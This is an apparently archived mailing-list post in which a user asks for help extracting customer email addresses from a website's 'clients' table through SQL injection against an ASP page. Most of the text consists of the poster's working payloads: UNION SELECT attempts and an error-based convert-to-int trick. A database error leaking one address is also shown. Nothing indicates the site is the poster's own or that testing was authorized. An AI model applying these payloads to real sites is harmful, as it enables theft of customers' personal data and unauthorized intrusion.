SQL injection - get more values

[Daniel Savi <dss () brturbo com>]

Hi :)

i'm trying to get some info from clients table and email field....

i try this param into gubpage.asp?=...
') union select sum(email) from clients--
and got error about all queries needed...so, i tryed to solve with
') union select sum(email),1,1,1.... from clients--
until i get: operand type clash: text is incompatible with int 

i found this answer into this forum (thanks :)), was:
' %2b convert(int, (SELECT email FROM clients WHERE email > 'a')) %2b '

i got this: 
Syntax error converting the varchar value 'anon () isp com' to a column of 
data type int

Now, my problem: How can i get other e-mail from table knowing one valid 
value?

i try this
' %2b convert(int, (SELECT email FROM clients WHERE email 
> 'anon () isp com')) %2b '
but no success

i think i can use NOT iN, but not sure how to use with convert...

Any tip are welcome!

Thanks

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